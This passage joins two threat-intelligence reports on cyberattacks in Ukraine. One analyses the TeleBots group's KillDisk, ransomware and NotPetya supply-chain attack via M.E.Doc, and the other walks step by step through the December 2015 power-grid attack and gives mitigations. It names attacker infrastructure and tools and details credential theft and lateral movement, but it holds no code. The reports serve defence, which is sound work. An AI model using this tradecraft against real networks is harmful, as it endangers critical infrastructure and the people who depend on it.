https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ Figure 2 The picture displayed by KillDisk malware in the first wave of December 2016 attacks. In the second wave of attacks, the cybersaboteurs behind the KillDisk malware added contact information to the malware, so it would look like a typical ransomware attack. However, the attackers asked for an extraordinary number of bitcoins: 222 BTC (about 250,000 at that time). This might indicate that they were not interested in bitcoins, but their actual aim was to cause damage to attacked companies. Figure 3 The ransom demand displayed by KillDisk in the second wave of December 2016 attacks. In 2017, the TeleBots group didnt stop their cyberattacks in fact, they became more sophisticated. In the period between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related to M.E. Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial institutions. During that attack, those behind TeleBots enhanced their arsenal with two pieces of ransomware and updated versions of tools mentioned in the previously-linked blogposts. The first backdoor that the TeleBots group relied heavily on was Python/TeleBot. A, which was rewritten from Python 3/11 in the Rust programming language. The functionality remains the same: it is a standard backdoor that uses the Telegram Bot API in order to receive commands from, and send responses to, the malware operator. Figure 4 Disassembled code of the Win32/TeleBot. AB trojan. The second backdoor, which was written in VBS and packaged using the script2exe program, was heavily obfuscated but the functionality remained the same as in previous attacks. Figure 5 The obfuscated version of the VBS backdoor. This time the VBS backdoor used the CC server at 130.185.250[. ]171. To make connections less suspicious for those who check firewall logs, the attackers registered the domain transfinance.com[. ]ua and hosted it on that IP address. As is evident from Figure 6 this server was also running the Tor relay named severalwdadwajunior. 4/11 Figure 6 Information about Tor relay run by the TeleBots group. In addition, the attacker used the following tools: CredRaptor (password stealer) Plainpwd (modified Mimikatz used for recovering Windows credentials from memory) SysInternals PsExec (used for lateral movement) As mentioned above, in the final stage of their attacks, the TeleBots attackers pushed ransomware using stolen Windows credentials and SysInternals PsExec. This new ransomware was detected by ESET products as Win32/Filecoder. NKH. Once executed, this ransomware encrypts all files (except files located in the C:\Windows directory) using AES-128 and RSA-1024 algorithms. The malware adds the .xcrypted file extension to already- encrypted files. When encryption is done, this filecoder malware creates a text file readme.txt with the following content: Please contact us: openy0urm1ndprotonmail.ch In addition to Windows malware, the TeleBots group used Linux ransomware on non-Windows servers. This ransomware is detected by ESET products as Python/Filecoder. R and, predictably, it is written in the Python programming language. This time attackers execute third-party utilities such as openssl in order to encrypt files. The encryption is done using the RSA-2048 and AES-256 algorithms. 5/11 Figure 7 Python code of Linux ransomware Python/Filecoder. R used by the TeleBots group. In the code of Python script, attackers left their comment which had following text: feedback: openy0urm1nd[]protonmail.ch Win32/Filecoder. AESNI.C On 18 May 2017, we noticed new activity on the part of another ransomware family Win32/Filecoder. AESNI.C (also referred to as XData). This ransomware was spread mostly in Ukraine, because of an interesting initial vector. According to our LiveGrid telemetry, the malware was created right after execution of the M.E.Doc software that is widely used by accounting personnel in Ukraine. The Win32/Filecoder. AESNI.C ransomware had a spreading mechanism that allowed it to perform lateral movement automatically, inside a compromised company LAN. Specifically, the malware had an embedded Mimikatz DLL that it used to extract Windows account credentials from the memory of a compromised PC. With these credentials, the malware started to spread inside its host network using SysInternals PsExec utility. It seems that the attackers either did not reach their goal on that occasion, or it was the test before a more effective strike. The attackers posted master decryption keys on the BleepingComputer forum, along with the assertion that this was done because the original author claimed that the source was stolen and used in the Ukraine incident. ESET published a decryption tool for Win32/Filecoder. AESNI ransomware, and this event didnt gain much media attention. Diskcoder. C (aka Petya-like) outbreak What did gain a lot of media attention, however, was the Petya-like outbreak of 27 June, 2017, because it successfully compromised a lot of systems in critical infrastructure and other businesses in Ukraine, and further afield. The malware in this attack has the ability to replace the Master Boot Record (MBR) with its own malicious code. This code was borrowed from Win32/Diskcoder. Petya ransomware. Thats why some other malware researchers 6/11 https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare/ https://www.bleepingcomputer.com/news/security/aes-ni-ransomware-dev-releases-decryption-keys-amid-fears-of-being-framed-for-xdata-outbreak/ https://www.welivesecurity.com/2017/05/31/eset-releases-new-decryption-tool-aes-ni-ransomware/ https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine/ http://virusradar.com/en/Win32_Diskcoder. Petya.B/description have named this threat as ExPetr, PetrWrap, Petya, or NotPetya. However, unlike the original Petya ransomware, Diskcoder. Cs authors modified the MBR code in such a way that recovery wont be possible. Specifically, the attacker cannot provide a decryption key and the decryption key cannot be typed in the ransom screen, because the generated key contains non-acceptable characters. Visually this MBR part of Diskcoder. C looks like a slightly modified version of Petya: at first it displays a message that impersonates CHKDSK, Microsofts disk checking utility. During the faux CHKDISK scan Diskcoder. C actually encrypts the data. Figure 8 Fake CHKDSK message displayed by Diskcoder. C. When encryption is complete, the MBR code displays the next message with payment instructions, but as noted before this information is useless. Figure 9 Diskcoder. C message with payment instructions. The remainder of the code, other than the borrowed MBR, was implemented by the authors themselves. This includes file encryption that can be used as a complement to the disk-encrypting MBR. For file encryption, the 7/11 malware uses the AES-128 and RSA-2048 algorithms. It should be noted that the authors made mistakes that make decryption of files less possible. Specifically, the malware encrypts only the first 1MB of data and it does not write any header or footer, only raw encrypted data and does not rename encrypted files, so its hard to say which files are encrypted and which are not. In addition to that, files that are larger than 1MB after encryption do not contain padding, so there is no way to verify the key. Interestingly, the list of target file extensions is not identical but is very similar to the file extensions list from the KillDisk malware used in the December 2016 attacks. Figure 10 List of target file extensions from Diskcoder. C. Once the malware is executed it attempts to spread using the infamous EternalBlue exploit, leveraging the DoublePulsar kernel-mode backdoor. Exactly the same method was used in the WannaCryptor. D ransomware. Diskcoder. C also adopted the method from the Win32/Filecoder. AESNI.C (aka XData) ransomware: it uses a lightweight version of Mimikatz to obtain credentials and then executes the malware using SysInternals PsExec on other machines on the LAN. In addition to that, the attackers implemented a third method of spreading using a WMI mechanism. All three of these methods have been used to spread malware inside LANs. Unlike the infamous WannaCryptor malware, the EternalBlue exploit is used by Diskcoder. C only against computers within the local network address space. Why are there infections in other countries than Ukraine? Our investigation revealed that affected companies in other countries had VPN connections to their branches, or to business partners, in Ukraine. Initial infection vector Both Diskcoder. C and Win32/Filecoder. AESNI.C used a supply-chain attack as the initial infection vector. These malware families were spread using Ukrainian accounting software called M.E.Doc. There are several options for how this attack can be implemented. The M.E.Doc has an internal messaging and document exchange system so attackers could send spearphishing messages to victims. User interaction is required in order to execute something malicious in this way. Thus, social engineering techniques would be involved. Since Win32/Filecoder. AESNI.C didnt spread so widely, we mistakenly assumed that these techniques were used in this case. However, the subsequent Diskcoder. C outbreak suggests that the attackers had access to the update server of the legitimate software. Using access to this server, attackers pushed a malicious update that was applied automatically without user interaction. Thats why so many systems in Ukraine were affected by this attack. However, it seems like the malware authors underestimated the spreading capabilities of Diskcoder. C. ESET researchers found evidence that supports this theory. Specifically, we identified a malicious PHP backdoor that was deployed under medoc_online.php in one of the FTP directories on M.E.Docs server. This backdoor was accessible from HTTP however, it was encrypted, so the attacker would have to have the password in order to use it. 8/11 https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ https://www.welivesecurity.com/2017/05/15/wannacryptor-key-questions-answered/ Figure 11 Listing of FTP directory containing the PHP backdoor. We should say that there are signs that suggest that Diskcoder. C and Win32/Filecoder. AESNI.C were not the only malware families that were deployed using that infection vector. We can speculate that these malicious updates were deployed in a stealthy way to computer networks that belong to high-value targets. One such malware that was deployed via this possible compromised M.E.Doc update server mechanism was the VBS backdoor used by the TeleBots group. This time the attacker again used a financially-themed domain name: bankstat.kiev[. ]ua. On the day of the Diskcoder. C outbreak, the A-record of this domain was changed to 10.0.0.1 Conclusions The TeleBots group continues to evolve in order to conduct disruptive attacks against Ukraine. Instead of spearphishing emails with documents containing malicious macros, they used a more sophisticated scheme known as a supply-chain attack. Prior to the outbreak, the Telebots group targeted mainly the financial sector. The latest outbreak was directed against businesses in Ukraine, but they apparently underestimated the malware spreading capabilities. Thats why the malware went out of control. Indicators of Compromise (IoC) ESET detection names: Win32/TeleBot trojan VBS/Agent. BB trojan VBS/Agent. BD trojan VBS/Agent. BE trojan Win32/PSW.Agent. ODE trojan Win64/PSW.Agent. K trojan Python/Filecoder. R trojan Win32/Filecoder. AESNI.C trojan Win32/Filecoder. NKH trojan Win32/Diskcoder. C trojan Win64/Riskware. Mimikatz application Win32/RiskWare.
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E X E C U T I V E S U M M A R Y a. Despite early reporting indicating that disruptions in Brazils electrical grid in 2007 were the result of a cyberattack, further investigation ultimately attributed the blackouts to inadequate maintenance. www.boozallen.com/ICS 1 Shortly before sunset on December 23, 2015, hackers remotely logged into workstations at a power distribution company in western Ukraine, clicked through commands in the operators control system interface, and opened breakers across the electrical grid one by one. Before they were finished, they struck two more energy distribution compa- nies, in rapid succession, plunging thousands of businesses and households into the cold and growing darkness for the next six hours.2 These attacks were not isolated incidents, but the culmination of a yearlong campaign against a wide range of Ukrainian critical infrastructure operations. In addition to three energy distribution companies, Prykarpattyaoblenergo,3 Kyivoblenergo,4 and Chernivtsioblenergo,5 threat actors had also previously targeted several other critical infrastruc- ture sectors, including government, broadcast media, railway, and mining operators. The attacks in Ukraine were a watershed moment for cybersecurity for the first time, malicious cyber threat actors had successfully and publicly disrupted energy-grid operations, causing blackouts across multiple cities. The power outage was also one of the few known cyber- attacks against a supervisory control and data acquisition (SCADA) system, a type of system critical to automation in many sectors, including transportation, manufacturing, heavy industry, and oil and gas. This report details the actions threat actors took in each step of the attack, including an analysis of associated malware and other identified indicators of compromise (IoC). This report also includes, as an appendix, detailed technical analysis of the associated malwares function and use. By tracing this attack from early exploration and target identification to turning the lights out on Ukrainian cities, this report serves as an aid to the security professionals charged with securing industrial control systems (ICS) and is equally relevant across a range of other critical infrastructure sectors. By understanding the current tactics, techniques, and procedures (TTP) that the threat actors used in this attack, and those that are most likely to be used against ICS systems in the future, security professionals can use this case study to plan for future threats against their own systems. Though this attack targeted operators in the electricity distribution sector, the TTPs illustrated in this attack are applicable to nearly all ICS sectors including oil and gas, manufacturing, and transportation. A reconnaissance campaign against US ICS operators in 20112014 using the same malware family deployed across Ukraines critical infrastructure raises the urgency of understanding this disruptive Ukrainian attack. ADDRESSING THE THREAT In a series of unique, discrete steps, the threat actors deployed malware gained access to targeted corporate networks stole valid credentials moved into the operators control environment identified specific targets and remotely disrupted the power supply. Each task was a missed opportunity for defenders to block, frustrate, or discover the attackers operations before they reached their final objectives. The Ukraine incident also demonstrates that no single mitigation can prevent an attacks success. The attackers followed multiple avenues to eventually overcome challenges and move onto the attack sequences next components. The most effective strategy for repelling complex attacks, therefore, is defense in depth. Layering defenses can raise the adversarys cost of conducting attacks, increase the likelihood of detection by a network defender, and prevent a single point of failure. All mitigation techniques, from I N T R O D U C T I O N INDUSTRIAL SECURITY THREAT BRIEFING This attack on Ukraines electric grid is the most damaging of the increas- ingly common attacks against ICS systems. ICS operators reported more security incidents in 2015 than in any other year. Complementing the detailed, procedural analysis provided in this report, Booz Allens Industrial Security Threat Briefing provides a broader perspective on the cyber threat landscape ICS operators face. The Industrial Security Threat Briefing includes an overview of the emerging tactics and active threat actors observed in 2015 and 2016, as well as the threats most likely to affect ICS operators in the coming years. The report is available at http://www.boozallen.com/ insights/2016/06/industrial- cybersecurity-threat-briefing. www.boozallen.com/ICS 3 http://www.boozallen.com/insights/2016/06/industrial-cybersecurity-threat-briefing/ http://www.boozallen.com/insights/2016/06/industrial-cybersecurity-threat-briefing/ http://www.boozallen.com/insights/2016/06/industrial-cybersecurity-threat-briefing/ architectural segmentation and network moni- toring, to access control and threat intelligence, should be complementary efforts in a wide- reaching process and network defense strategy that aims to protect the environment, making it so difficult, expensive, or time consuming that it ultimately deters the attacker. OUR RESEARCH METHODOLOGY Though the attacks against Ukraines electrical grid in December 2015 have been discussed widely in public reporting, this report seeks to build upon the analysis to provide a more comprehensive account. By analyzing the malware tools used in the attack and using open-source intelligence gathering, this report seeks to tie together the wide body of existing information on this event and fill the gaps in other reports. This report leverages an extensive analysis of publicly reported data on the attack, as well as our own deep-dive technical analysis of recovered malware samples used in the attack. Public reporting on the incident and related attack data was collected manually or through automated searches on publicly accessible internet sites. The sources included, but were not limited to, English and foreign language media, advisories and alerts from US and foreign government cybersecurity organizations, and analysis by independent security researchers. References to IoCs and other attack data were used to identify related incidents, then analyze and integrate their findings with this attack. Analysis of public reporting was complemented with a thorough technical analysis of recovered malware samples used in the December 2015 attacks against the electrical distributors, as well as samples from related attacks. Our technical analysis was used to verify, corroborate, and expand on existing reports detailing threat actor activity leading up to and during the incident. Experienced reverse engineers used disassembler and debugger software to navigate through the malware code to identify its capabilities and unique characteristics. Reverse engineers used both static and dynamic analysis, allowing them to see how the malware behaves on a system with the freedom to run in a debugger in order to force or bypass certain conditions, thereby allowing the malware to take multiple paths. By recording system changes made by the malware, the reverse engineers were able to gather key data needed to identify further system infections, as well as potential mitigations. This investigation also emphasized analyzing the recovered samples within the context of their broader malware family. Using YARA, a tool to identify binary or textual signatures within malware, analysts pivoted to new samples in an effort to identify new capabilities and different variants of the malware. This comprehensive report completes the view of the attack sequence for this incident. Acknowledgments Several in-depth reports have been released, each covering a different facet of the December 2015 attacks in Ukraine. The SANS Institute, in partnership with the Electricity Information Sharing and Analysis Center (E-ISAC),6 as well as the US Department of Homeland Securitys National Cybersecurity and Communi- cations Integration Center (NCCIC)7, have both produced detailed reports covering the incident. Security researchers at F-Secure8 and ESET9 have conducted extensive analysis of the BlackEnergy malware, and reporting produced by Cys-Centrum10 and Trend Micro11 have sought to lay out the common ties across the string of similar, and likely related, cyber attacks against Ukrainian critical infrastructure. Each of these accounts provides a different piece of the larger picture, which this report lays out. 4 Booz Allen Hamilton Our research and analysis of the December 2015 blackout showed that the attack against Ukraines electricity grid was not an isolated incident, but in fact a continuation of a theme of a steady, deliberate attacks against Ukraines critical infrastructure. This long-running campaign likely reflects a significant, concerted effort by a single threat actor with a well-organized capability and interest in using cyberattacks to undermine Ukraines socio-political fabric. Each of the attacks used a common set of TTPs that had been used in earlier incidents in the previous months, detailed in Exhibit 1. To put the December 2015 attack in context, our research uncovered an additional 10 related attacks, the last of which occurred in January 2016. Exhibit 1 shows the timing, tech- niques and target sectors in this 18-month campaign. A R E G I O N A L C A M P A I G N www.boozallen.com/ICS 5 Electricity Sector Railway Sector Television Sector Mining Sector Regional Government/ Public Archives M ay Ju ne Ju ly Au gu st Se pt em be r O ct ob er N ov em be r D ec em be r Ja nu ar y Fe br ua ry M ar ch Ap ril M ay Ju ne Ju ly Au gu st Se pt em be r O ct ob er N ov em be r D ec em be r Ja nu ar y Fe br ua ry M ar ch 20152014 Attack Tools Phishing MS Oce Malicious VBA Other Weaponization BlackEnergy Other RAT KillDisk 1 21 2 3 3 4 4 5 5 6 6 7 7 8 9 9 8 10 11 11 Gained Access Data Destruction Physical Impact Undisclosed 2016 10 EXHIBIT 1. CYBER THRE AT L ANDSCAPE IN UKR AINE 6 Booz Allen Hamilton 1. May 2014 (Electricity) On May 12, 2014, threat actors targeted Ukrainian electricity distributor Prykarpattyaoblenergo in a phishing campaign using weaponized Microsoft (MS) Word documents.12 The threat actors forged the sender addresses and modified the weaponized MS Word attachments with a malicious PE-executable file inserted into the icon image associated with file.13 2. May 2014 (Railway) On May 12, 2014, threat actors targeted all six of Ukraines state railway transporta- tion system operators in a phishing campaign using weaponized MS Word documents.14 The threat actors forged the sender addresses and modified the weaponized MS Word attachments with a malicious PE-executable file inserted into the icon image associated with file.15 3. August 2014 (Ukrainian Regional Government, Archives) In August 2014, threat actors began a wide-reaching phishing campaign using weaponized MS Power Point files. The weaponized files exploited a zero-day vulnerability (CVE-2014-4114) to deliver BlackEnergy Malware to targeted systems.16,17 Targets included five Ukrainian regional govern- ments, and the state archive of Chernivtsi Oblast, one of the three oblasts targeted in the December 2015 Electricity distributor attacks.18,19 4. March 2015 (Media) In early March 2015, threat actors conducted a phishing campaign against Ukrainian television broadcasters, using weaponized MS Excel and MS PowerPoint documents (1.xls and 2.pps).20 The weapon- ized documents contained malicious Visual Basic Application (VBA) and JAR files designed to drop BlackEnergy malware on targeted systems.21 5. March 2015 (Electricity) In late March 2015, threat actors conducted a phishing campaign targeting electricity operators in western Ukraine using the weaponized MS Excel file (1.xls) used earlier that month against broadcast media targets. As with the earlier attack, the file included a malicious macro designed to install BlackEnergy.22 6. March 2015 (State Archives) Also in late March 2015, threat actors targeted Ukrainian state archives in phishing attacks using the same weaponized MS Excel file (1.xls), malicious macro, and BlackEnergy malware.23 7. October 2015 (Television Broadcast) On October 24 and October 25, 2015, Ukrainian election day, threat actors used KillDisk malware to destroy video data and server hardware, and render employee workstations inoperable at multiple Ukrainian television broadcasters.24,25 Targeted systems were found to be infected with the same BlackEnergy and KillDisk samples observed in attacks against a railway operator, mining company, and electricity distributors in November and December 2015. Investigation of the incident indicated access to the network was established May 2015.26 8. NovemberDecember (Railway) In November December 2015, an undisclosed Ukrainian Railway firm, operating under the Ukrainian State Administration of Railway Transport, was targeted in a cyberattack using BlackEnergy and KillDisk malware.27 The method for establishing initial access to targeted networks was not disclosed. 9. NovemberDecember 2015 (Mining) In NovemberDecember 2015, an undisclosed Ukrainian Mining firm was targeted in a cyberattack using BlackEnergy and KillDisk malware.28 The method for establishing initial access to targeted networks was not disclosed. 10. December 2015 (Electricity) On December 23, 2015, threat actors opened breakers and disrupted electricity distribution at three Ukrainian firms: Prykarpattyaoblenergo, Kyivoblenergo, and Chernivtsioblenergo. Full details of this attack are included in the Attack Walk Through section of this report. 11. January 2016 (Electricity) On January 19 and 20, 2016, threat actors targeted approximately 100 organizations, including many Ukrainian energy firms,29 in a phishing campaign.30 The malicious emails were designed to look as though they were sent by Ukrainian energy distributor NEC Ukrenergo.31 The emails included a weaponized MS Excel document, which prompted users to enable macros once enabled, a malicious VBA script installed GCat, an open-source, python-based trojan which disguises communications with the command-and-control (CC) server as Gmail email traffic.32 BLACKENERGY MALWARE BlackEnergy is a remote-access trojan designed to provide unauthorized access to targeted networks via an HTTP connection with an external server. Its modular design allows it to accept additional plugins to carry out specific functions, such as stealing credentials or conducting network reconnaissance. www.boozallen.com/ICS 7 ATTRIBUTION Though the Security Service of Ukraine (SBU) immediately implicated Russia in the attack,33 there is no smoking gun which irrefutably connects the December 2015 attacks in Ukraine to a specific threat actor. The limited technical attribution data, such as the attackers using a Russia-based Internet provider and launching the telephony denial-of-service (TDoS) flood traffic from inside Russia,34 point to Russian threat actors, though this evidence is not conclusive unto itself. Some inferences can be made based on the history of the tools used, how the attack was carried out, and the outcomes that were achieved. Cybercriminal organizations and state-backed groups are often the most well- resourced, organized, and technically advanced cyber threat actors. BlackEnergy first emerged as a DDoS tool in 200735 and has a history of use by criminal organizations. The most notable criminal operation was a series of attacks in 2011 against Russian and Ukrainian banks, in which criminals used BlackEnergy 2 to steal online credentials and obfuscate the attacks with distributed deni- al-of-service (DDoS) floods.36 Despite these criminal roots, BlackEnergy often rears its head in attacks with particular political significance, typically targeting organizations and countries with adversarial relations with Russia. In 2008, during Russias conflict with Georgia, Georgian networks were bombarded with a DDoS attack by a botnet constructed with the first iteration of BlackEnergy, and controlled by CC servers hosted on Russian state-owned compa- nies.37,38 BlackEnergy was also used in June 2014, targeting a French telecommunications firm, by a group known to conduct cyberattacks against NATO, Western European governments, and several regional Ukrainian governments.39,40,b In addition, the KillDisk malware, used in conjunction with BlackEnergy, was first observed in a data destruction attack against servers operated by several Ukrainian news outlets on October 2425, 2015, Ukraines election day.41 As security researchers have pointed out, the overlap in usage of the malware by multiple groups, including criminal organizations, would be convenient for a state-backed group as this provides a degree of plausible deniability.42 As noted above though, the targets selected in previous campaigns using BlackEnergy often align to Russian political interests. Furthermore, the activity associated with the December 2015 attack does not appear to align to a criminal organiza- tions likely goal of financial gain. Threat actors invested significant resources in establishing, maintaining, and expanding persistent access on targeted networks for nearly a year. They conducted extensive network reconnaissance, likely developed malicious firmware, familiarized themselves with the native control environment, and then ultimately revealed their presence in a destructive attack. The extensive resources invested, and no apparent financial return, indicate the attackers likely objective was to use the attack to send a message. b. Reporting did not specify whether if used BlackEnergy malware was used in the attacks against NATO or other European govern- ment targets. 8 Booz Allen Hamilton INTENT Several plausible theories that have been proposed may explain the threat actors motiva- tions for conducting the attacks, as well as its timing, target, and impact. It is possible that the adversary was motivated by several of the posited theories, though the attack was probably designed to send a message to the Ukrainian government, rather than gain a lasting benefit. CONVEY DISPLEASURE WITH PLANS TO NATIONALIZE RUSSIAN-OWNED ASSETS One theory that has circulated in cybersecurity circles is that the attackers may have intended to convey displeasure with a Ukrainian proposal43,44 to nationalize assets owned by Russia and its citizens.45 The policy would have harmed influential Russian oligarchs with investments in Ukraines energy sector. For example, Alexander Babakova senior member of Russias national legislature and a current target of EU sanc- tions46is a main shareholder in VS Energy. It is one of the largest electricity distributors in the Ukrainian market, with ownership stakes in nine of the 27 oblenergos and a 19-percent electricity- distribution market share, as of 2010.47 Based on available evidence, however, we find the theory unconvincing. The timing of the attack and the particular target made it an unlikely symbolic target for expressing a position on nationalization. Discussions about nationalizing Russian assets had not been a headline issue since the spring of 2015, more than six months before the disruption the lack of temporal proximity between the two events blurred or watered down the symbolic value of the attack vis--vis nationalization. POLITICAL DESTABILIZATION CULTIVATE GENERAL FEAR AND DISCONTENT Another possible objective was to destabilize Ukraine politically. As indicated above, a wide swath of Ukrainian organizations were caught in the attackers larger collection of networks compromised with BlackEnergy, including targets in the railway, mining, broadcast media and government sectors.48 This trend indicates the objective may have been to disrupt a critical service provider or critical industry, rather than an energy company specifically. By disrupting operations in critical infrastructure, the threat actors may have sought to reduce confidence in the Ukrainian government. This strategy would be consistent with Russias information warfare doctrine, which seeks to sow discontent in a target country or region in order to induce political and economic collapse.49 boozallen.com/ics 9 IN-KIND RETALIATION Another possible objective may have been in-kind retaliation for perceived Ukrainian disruptions of electricity to Crimea. On November 2122, 2015, Crimea lost power for more than six hours due to physical attacks on four pylons carrying transmis- sion wires.50 The identity of the saboteurs has not been publicly determined, but they are rumored to be Ukrainian nationalists.51 Crimea is reliant on Ukraine, as the country supplies about 70 percent of Crimeas power.52 Russia intends to obviate this risky reliance by constructing a new energy bridge between Crimea and Russia, which will be able to supply 7080 percent of Crimeas power needs.53 If this was the objective in the attack, it would indicate that Russia may actively seek to gain footholds in critical services providers with the intention to execute attacks at strategically useful times. This would be consistent with similar attacks against critical infrastructure in other adversarial nations in Western Europe54 and the US55 that have been attributed to Russia. OUTLOOK While politically motivated cyberattacks are not a novel foreign policy tool, the industries and organizations that serve as potential targets are expanding. Cyberattacks present a powerful political tool, particularly those against critical infrastructure providers. Industrial control systems operators are not above the fray in geopolitical rows, and may in fact be the new primary target. 10 Booz Allen Hamilton The attack walk through provided in this report is informed by analytical frameworks published by cybersecurity industry organizations,56,57 as well as proprietary methods for conducting open- source intelligence analysis and technical malware analysis. To provide as complete a picture as possible for this report, as with other reporting on this incident, some inferences on the threat actors most likely method were required, as there does not exist a complete accounting of all actions the threat actors took in their campaign. Wherever possible, inferences were based on confirmed technical evidence, such as identified malware capabilities and known hardware and software vulnerabilities. This section provides the step-by-step walk through of threat actor activity during the attack. Each step includes a high-level description, as well as a feature summary of the step with eight descriptors. The eight descriptors are as follows: Location: This describes the network on which the activity occurred, including preparatory activity conducted outside of the targeted networks (listed as external infrastructure), as well as the logically or physically separated corporate network or ICS network operated by the electricity distributors. Action: The December 2015 attacks were achieved using a combination of direct threat actor manipu- lation of systems deployed by the electricity distributors, as well as malware-executed tasks. Active threat actor activity highlights tasks that involved hands-on-keyboard interactions with systems deployed on the electricity distributor network. Malware execution highlights tasks completed by functions built into the malware tools used by threat actors.c Timeline: This section provides the timeframe in which the step most likely occurred. This includes specific, known dates, as well as ranges of time defined by known threat actor activities. Device/application: This section lists the device or application targeted or exploited by threat actors in the step. Wherever possible, specific model information is provided in instances in which the model or application details were not found in open sources, analysts made assessments based on available evidence, such as operating system (OS) or application-specific services targeted by the reported malware. For the steps detailing prepara- tory tasks conducted external to the electricity distributors networks, activity conducted external to network is listed rather than the targeted device or application. Role in infrastructure: This section details the function of the targeted device or application within the electricity distributors network. Activity conducted external to network is listed for preparatory activities conducted on external infrastructure.
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DELIVERY STEP 3: DELIVER RAT Threat actors initiate phishing campaign against electricity distributors. Location: Corporate network Action: Active threat actor activity Timeline: May 2014June 2015e Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communica- tions and other IT services used in business operations. Exploitation method: Threat actors send innocu- ous-looking emails containing the modified MS Office files as attachments to users on targeted networks. This tactic is known as phishing. Impact: RAT is delivered to targeted network, but not installed. Installation requires employees to actively grant permission to the embedded VBA scripts to execute. Booz Allens recommended mitigations: Implement a position-specific cyber- security awareness training program to ensure employees understand the organizational risks associated with cyberattacks and how to identify social engineering techniques such as phishing. Establish a Computer Incident Response Team (CIRT) and ensure all employees are aware that suspicious emails or attachments should be forwarded here for investigation. The CIRT should review any reports, perform malware analysis, and extract an indicator of compro- mise (IOC) to identify any infections on the organizations network. Use a network-based antivirus solution to detect and prevent known malware from entering the organizations network. Install and configure an anti-spam solution to screen incoming emails for suspicious content or abnormal senders. Subscribe to and monitor threat intelligence sources to be aware of ongoing campaigns. This information can be used to focus defense efforts and search for IOCs. EXPLOITATION AND INSTALLATION STEP 4: INSTALL RAT Threat actors successfully install BlackEnergy 3 on each of the three targeted electricity distributors after employees open the weaponized MS Office email attachments and enable macros. Location: Corporate network Action: Employee-enabled malware execution Timeline: May 2014June 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communica- tions and other services used in business operations. Exploitation method: In a social engineering attack, employees are prompted to enable macros when opening the file attached to phishing email. Once macros are enabled, the VBA script places multiple malicious files on the workstation, unbeknown to the employee. Impact: Files placed on workstations within the corporate network can begin the communication process with external CC servers. e. Ukrainian Deputy Energy Minister noted access was gained at least six months prior to the final attack. Earliest observed phishing attack matching TTP against electricity distributor was May 2014. 14 Booz Allen Hamilton Booz Allens recommended mitigations: Implement application whitelisting to prevent unknown files from being executed. Use host-based antivirus software to detect and prevent known malware from infecting organization systems. Set script execution policy to allow only signed VBA scripts and macros to be run. COMMAND AND CONTROL STEP 5: ESTABLISH CC CONNECTION Malware establishes connection from malicious implant on targeted network to attacker-controlled CC server. Location: Corporate network Action: Malware execution Timeline: May 2014June 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communica- tions and other services used in business operations. Exploitation method: The external connection is established as part of the execution routine following installation of the malicious files. Once permissions to execute macros are granted by employees, the malicious VBA script installs the malware implant, and the implant attempts to communicate with an external server via HTTP requests. Impact: Threat actors gain unauthorized access to targeted networks, including the ability to deliver additional BlackEnergy plugins to enable internal network reconnaissance and credential harvesting. Booz Allens recommended mitigations: Configure firewall ingress and egress traffic filtering to block anomalous incoming and outgoing network communications. Blacklist known malicious IP addresses and monitor for any form of network communica- tions to these addresses. ACTION ON OBJECTIVES: INTERNAL RECONNAISSANCE AND LATERAL MOVEMENT STEP 6: DELIVER MALWARE PLUGINS Following installation of BlackEnergy 3 implant, threat actors likely import plugins to enable credential harvesting and internal network reconnaissance. Location: Corporate network Action: Active threat actor activity Timeline: June 2015December 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communications and other services used in business operations Exploitation method: The BlackEnergy 3 implant delivered in the initial attack functions as a receiver for additional malware plugins. After establishing a remote connection with delivered files via HTTPS, the threat likely delivers the additional malware components. Impact: The delivered plugins enable additional BlackEnergy functionality, including harvesting user credentials, keylogging, and network reconnaissance. boozallen.com/ics 15 Booz Allens recommended mitigations: Implement application whitelisting to prevent unknown files from being executed. Configure firewall ingress and egress traffic filtering to block anomalous incoming and outgoing network communications. Blacklist known malicious IP addresses and monitor for any form of network communica- tions to these addresses. Use host-based antivirus software to detect and prevent known malware from infecting organization systems. STEP 7: HARVEST CREDENTIALS Delivered BlackEnergy 3 malware plugins conduct credential harvesting and network discovery functions. Location: Corporate network Action: Active threat actor activity, malware execution Timeline: June 2015December 2015 Device/application: Windows OS workstations, Windows domain controllers, virtual private network (VPN) service deployed in control environment Role in infrastructure: These systems support business operations, manage permissions and domain access, and provide remote network access respectively.
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Exploitation method: Threat actors use delivered BlackEnergy 3 plugins to gather stored credentials or log keystrokes. After gathering valid credentials for user with administrator privileges, threat actors use the stolen administrator credentials to access the domain controller, recover additional creden- tials, and create new privileged accounts. Impact: Threat actors obtain valid credentials enabling them to expand access across the corporate network and into the control environment, ensure persistent access, and blend into regular network traffic. Booz Allens recommended mitigations: Implement centralized logging and monitor audit logs for unusual logins or use of adminis- trative privileges (e.g., abnormal hours, unsuccessful login attempts). Establish a baseline of user domain and local accounts and monitor for any account additions or privilege escalations outside of the organizations approved workflow. Implement least privilege policies across all systems to ensure administrative accounts are properly restricted and assigned to only those who require them. STEP 8: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON CORPORATE NETWORK Threat actors conduct internal reconnaissance on the corporate network to discover potential targets and expand access. Location: Corporate network Action: Active threat actor activity, malware execution Timeline: June 2015December 2015 Device/application: Discovered systems, including networked uninterruptable power supply (UPS) devices, data center servers, a telephone communications server, and employee workstations Role in infrastructure: Internal reconnaissance efforts could potentially include all deployed devices on the corporate network. Exploitation method: Threat actors likely use a combination of valid user credentials and BlackEnergy 3 plugins developed to conduct network discovery. VS.dll plugin is likely used to leverage MS Sysinternals PsExec to establish remote connections to workstations and servers. Impact: Threat actors are able to enumerate the systems deployed across the network, identify targets, and begin preparations for final attack. 16 Booz Allen Hamilton Booz Allens recommended mitigations: Implement active network security monitoring to identify anomalous network behavior. Ensure network is appropriately segregated to inhibit lateral movement. Monitor audit logs for unusual logins or use of administrative privileges 